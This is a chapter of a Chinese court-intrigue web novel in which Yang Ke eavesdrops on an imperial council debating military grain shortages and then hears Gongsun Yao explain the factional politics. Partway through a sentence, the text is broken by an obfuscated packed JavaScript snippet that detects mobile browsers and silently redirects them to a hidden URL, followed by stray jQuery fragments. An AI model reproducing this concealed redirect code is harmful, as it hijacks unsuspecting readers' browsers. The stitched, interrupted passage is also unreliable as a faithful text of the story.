悟南柯文无汀

18.朝堂

回到凌薇苑,杨柯气鼓鼓地躺在榻上,盘算着以后如何该对付宇文泰。盘算来盘算去,只得出一个结论:每次碰见这人,准没好事。于是低声咒骂起宇文泰的祖宗十八代来,可还没骂到一半,便迷迷糊糊地睡去。


这一日,又要去尚书局执勤,杨柯才在凳子上坐下没多久,便被朱缨指派了个差事——运送文书,而目的地则是勤政殿——皇帝平日处理政务和会见官员的地方。


杨柯跟着公公的指引来到主殿,“陛下正在书房里同各位爷商讨政务呢,大人且稍后片刻。”


“没事,我在这等着便是。”公公点头弓腰往后退了一截,也跟着她静静候着。


忽然肩上被人一拍,杨柯回头一看,“公孙大人!”


“嘘!”公孙瑶将手指放在嘴边,又轻挥手指示意跟她进去。


“你来送什么?”公孙用极低的声音问道。


杨柯将手里的文书递给公孙,耳朵却捕捉到不远处的书房内漏出些许说话的声响。


见杨柯的视线被那边吸引,公孙解释道:“这几日前线战事坏消息不断,陛下此刻着急得很。”


杨柯想到自己在奏疏上的所见,“是因为军粮么?”


“原来你知道。”公孙露出惊讶,下巴往书房的方向指了指,“要去听听吗?”


杨柯心里一喜,呆在此处不仅能暂时逃过尚书局的管辖,还能见到伯喻,自然冲着公孙忙不迭地点头。


公孙引她至毛毡旁,杨柯透过缝隙望去,皇帝正在御案前来回踱步,面前站着乌泱泱一排人,为首的便是宇文泰、宇文伯喻两位皇子,他们身旁立着的想来应是六部大臣了。


殿内烛火摇曳,映照得众人脸上越发阴晴不定。皇帝沉重的脚步一下一下地踏在琉璃瓦嵌花砖上,踩得人心底发慌。


“泰儿,前线屡屡失利,你怎么看?”话音落下,殿内益发敛息,宇文泰乃镇国将军章满之侄,不知母系势力落难,皇帝迁怒,他会如何应对。杨柯心里正好奇着,却见宇文泰拱手道:“父皇,前线战事失利,儿臣痛心自责。身为宇文氏和章氏血脉,未能为国解难,深感愧疚。”


杨柯低声嘀咕道:“哼,倒挺会说场面话。”


这时吏部站出一人道:“陛下,前线战事连连失利,臣深思熟虑后,认为其根源或许并非在于军粮短缺,而在于人选之失。”


皇帝听了他的话挑了挑眉:“人选之失?”


田咏的目光探了探宇文泰,“正是。章老将军让章擎执掌将印,此举恐怕不妥。虽说虎父无犬子,但章擎年轻气盛,缺乏经验,战略失误在所难免。”


皇帝面不改色:“你也知道将领对战局的重要,那我问你,你吏部的责任是什么?”


杨柯看这人长了一双大圆眼,顶上却是个八字眉,平白多了些奸滑之相,正为其惋惜着,却听公孙在一旁道:“这是吏部左侍郎田咏,他跟着宫询讨得了不少好处,两年连升三品,不知道的还以为他是宫家的私生子。”


杨柯听了不免发笑,又问道:“宫询是谁?”


“吏部尚书,就是他了。”


公孙话音刚落,一个紫衣老头开口道:“吏部选贤举能,同意章擎的任用我们也有罪责。但是‘天高皇帝远’,要论西北的战况与军中将领的实力,难道身在京城的吏部比章满更了解?章满身为大将军,本应亲自督战,却将如此重任交给一个乳臭未干的小子,实乃失职之举。若不严惩,何以正军法,何以振军心?”


公孙又低声解释道:“宫询意在将责任完全推给章满和章擎,借此打压章家势力。”


宇文泰忽然插言:“父皇明鉴,儿臣有话不得不说。章将军戍守西北边疆,劳苦功高,屡立战功。再者,胜败乃兵家常事,仅因一场败仗就严惩,实在不妥。况且舅父和表哥在军中威望甚高,此时责罚,恐怕动摇军心,还望父皇三思。”


皇帝沉吟片刻,目光扫过众臣,“章满有功,朕是知晓的。但前线失利,军法难容。念及旧功,朕会从轻发落,妥善处理。”


田咏又道:“陛下圣明!但章将军责任重大,用人失当致前线大败,影响恶劣,不严惩难以服众、整肃军纪。还望陛下莫念私情旧功,务必严惩!”


“田爱卿真是考虑周全。不过按照爱卿的道理,用人不当,责任重大,”皇帝凌厉目光直射向他,“那朕当初派遣章家父子驻守西北,是不是也算用人不当?”


田咏闻言,心中陡然一紧,大声哀求道:“臣不敢!”


此时,伯喻站了出来,朗声道:“父皇,儿臣有话要说。”这个节骨眼上,谁站出来都担着风险,杨柯的心不禁吊了起来。不过伯喻的身段儿着实好看,施起礼来也赏心悦目。只听他不疾不徐道:“宫、田二位大人提醒章家父子担责无可厚非,可战事之败并非一人一时之失。父皇选他们是看重其才忠,如今失利虽需反思,却不能归咎一人,更不可累及父皇。父皇登基后一心解决西北边患,百姓得以安居乐业近二十年。此等功绩,古来罕见。今西北战事连连失利,实属天意,非人力能敌。父皇已尽人事,不必自责。儿臣以为,章家父子需担责,也应给他们改进机会。”


此言一出,殿内的紧张气氛一扫而空。皇帝的脸上虽然并未见到喜色,但原本铁青的脸已是缓和了许多,“不错。那你认为应该如何应对?”


伯喻接道:“儿臣掌管户部,深知如今朔州战事胶着,关键在于军粮。近日因天气阻碍,军粮运输迟迟拖延,但儿臣以为,即使运输及时,前线士兵也未必能够吃饱。”


皇帝面色骤变,厉声道:“此言当真?”军粮断供之事乃兵家大忌,没有想到的是,现下的问题不仅是运输之难,还有更大的毛病亟待解决。


兵部尚书白韬忽而拱手而出,抢先奏道:“陛下,臣有一事不得不奏。上月滁州连发大水,农田受损严重,粮食大幅减产。而我朝向滁州订购之粮,不仅量少,而且价高。如此情形,对于军粮供应无疑是雪上加霜。”


皇帝停下了来回的脚步,“郑仪,你们户部怎么说?”


伯喻身侧的老头应声上前道:“陛下,兵部军粮难购一事我们已经知晓。”


白韬揶揄道:“知道了可不等于解决呀,要是户部不能及时拨款,前线士兵们还是没饭吃,这不伤了陛下爱民如子之心吗?”


郑仪硬着头皮道:“陛下,微臣有苦难言呐!近年来,国家开支浩繁,户部虽竭力筹措,但军粮乃常年花销,财力终归不支。”杨柯在逸韵诗会上见过郑仪,这人作诗挺有一套,不过听师父说办事不如作诗,也不知道怎么升至户部尚书这样的肥差上。


白韬又道:“前线战事未平,花销在所难免。照郑大人的意思来看,咱们大夏的仗也不要打了?”


皇帝的脸色因焦灼愤怒而愈发难看,双目怒睁道:“平日里个个能说会道,一碰到事就当起缩头乌龟,要不朕把你们九族全都送到前线种地去,也省得在这为难!”


“陛下息怒!”众臣纷纷跪倒在地,屋内气氛重又紧张了起来。


宇文泰迅速反应道:“父皇,当下可从他处州郡紧急调配粮食以解燃眉之急。据儿臣所知,雍州、越州两地分别存有一万石余粮。不如即刻传旨,命人联系两地粮官,让他们火速将粮食运往前线。”


“羲王殿下果真办事利索,咱们还没弄清楚军粮出了什么问题,便早早想到解决办法了。”易望林站了出来,声音不紧不慢,“陛下,扬汤止沸,不如釜底抽薪。此事积弊已久,非一朝一夕可以解决。臣以为,当下粮食短缺、运粮拖延皆为表象,只有建立完备制度才是解决问题的根本之道。臣建议,设立专门督粮官一职,负责统筹调度粮食事务。再者,兵部、户部有什么难言之隐,这次索性也一并全说出来。陛下一向圣明,洞悉朝堂诸事,定能保我朝民生安稳、边疆无忧。”他语速虽慢,但气势却笼盖四野,一时之间竟无人敢作声。


公孙不知是感叹还是讽刺,忽然评论道:“要论场面话,还是这位最擅长。”


杨柯试探问道:“易大人是两朝老臣,他很厉害吧?”


公孙冷冷道:“厉害是厉害,但他的厉害总是挑着时候来。”


杨柯还没弄明白她的话中之意,却听皇帝赞许道:“易先生所言极是。”他扫视群臣,最终落于户部尚书郑仪身上,“督粮官一职由户部牵头设立。户部掌管国家钱粮,对此事责无旁贷。”


郑仪正欲开口接应,宇文泰反先奏道:“前线战事紧张,兵部责无旁贷。此事兵部亦当承担重责,儿臣愿与户部共同设立督粮官,协同办理军粮事宜。”


郑仪欲驳回宇文泰的提议,又听伯喻抢先道:“二哥所言极是。户部虽掌钱粮,但前线战事


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277028|165772||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


瞬息万变,兵部对前线需求更为熟悉。督粮官一职当由兵部任命,户部当协助兵部,确保军粮供应无虞。”


杨柯见郑仪两次开口皆被阻拦,疑惑道:“为何伯喻也要帮着兵部说话,若督粮官归到户部,他们岂不是更好办事?”


“既然兵部主动揽下这活儿,户部顺水推舟,从旁协助就好。这么做既能减轻自身负担,又能避免被陛下问责,何乐而不为?”


皇帝颔首一笑:“既如此,朕便依了你们。督粮官由兵部设立主导,户部协助。泰儿,喻儿,你们要齐心协力,确保我大夏前线士兵的安危。”


二人齐声道:“是!”


会谈结束后,杨柯垫着脚、昂着头在一众蓝绿中搜寻着伯喻的身影,却一把被公孙瑶拎了回去,“你再往前够够,就要跪到陛下跟前儿去了。”


杨柯笑嘻嘻道:“我这不是关心朝政嘛。”


公孙点头道:“那你可发现方才有什么特别之处?”


“好像问题皆由兵部提出,最后解决也落到兵部头上。”


“不错,兵部借此牢牢把控了军粮。”


“兵部不是本就掌管军粮运输?”


“督粮官若落到他人手中,他们还能管吗?”


杨柯这才明白其中缘由,又转念一想,军粮向来是战事的重中之重,可军中如何能不断粮也是历朝历代皇帝最头疼的事情之一,“为何大夏打了那么久的仗,还有如此丰富的存粮?”


公孙一字一句道:“因为水利完备。”她见杨柯一脸疑惑,继续解释道,“大夏缘水而兴,境内渭河、踽河贯穿全境,治理好此二河,便是守护好国家的根基。要说到这个,还真亏了伯喻。”她话里煞有介事,“别看他年纪虽轻,但在朝中是个不容忽视的存在。”


听到公孙这般夸赞伯喻,杨柯心内窃喜,面上却故作疑惑之态,想探得更多细节:“如今宣王殿下不是才二十岁?”


“是啊,当年他接手工部时刚满十五,虽有易大人鼎力举荐,但朝中老臣皆自持资历深厚,对其年少登此要职,心内多有不服。于是当朝便诘问其治国之要,伯喻只说了一句,‘但劝农业之兴,莫夺农时之要;且行轻赋之法,勿竭民众之财’。”


“众人听了是什么反应?”


“这般大道理,那帮老头子听得多了,权当虚言套话,再说了,要是真的轻徭薄赋,柔然的仗还怎么打?谁能料到,伯喻竟真的一一践行。”


杨柯的好奇心全然被勾了起来:“那他如何做到呀?”


“兴修水利,提高粮产。彼时他提议在雍州修建江堰,朝中不少大臣公然反对,国库本就不充盈,哪还有巨额钱财拿去修堰?结果伯喻竟亲自前往雍州,向当地的富商豪绅晓以其利,竟然还募得了不少金银,这江堰才得以建起,短短几年,雍州的地价便因江堰翻了数倍。这一个地方吃到了甜头,其他地方也纷纷效仿,整个大夏的水利系统也才慢慢搭建起来。”


“朝中其他大臣难道不知道这个办法?”


“看起来简单,做起来难。三年前他主持修建雍州的江堰,陛下命我跟他对接,可是把人累坏了。”


“为何?”


“他这个人呐,做人倒是和和气气,但做事却严苛得不行,不仅定下了每年清淤的规章制度,甚至每把石标尺的尺寸都定得明明白白。下面的人哪里会注意这个,刚开始建的时候,饶是审批的文书都来来回回倒腾了十几次,就因为差了几毫厘。”


杨柯心中一边感叹伯喻治国之才,一边为他感到欣喜自豪,视线一偏,才发现公孙正饶有意味地斜睨着自己:“看来阿柯是被伯喻的才华倾倒了。”


她脸色一红,忙找补道:“宣王殿下如此才华横溢,不止是女子,只要是大夏子民皆感恩戴德吧。”


公孙心下了然,而后笑道:“那倒是。”


杨柯忙转移了话题:“还有件事想请教请教大人,这几次的运粮皆遇到拖延的问题,但是书册上记录的缘由都交代得含糊不清,不知是何故?”


公孙皱眉道:“不应该啊,羲王向来办事清楚明白,怎会容忍下面的人出现这样的问题?”


杨柯笑道:“大人先别急着犯难,我已经拜托了江湖上的朋友帮我打探消息。”


她眼睛一亮:“哦?”


“到时候就等着我的好消息吧。”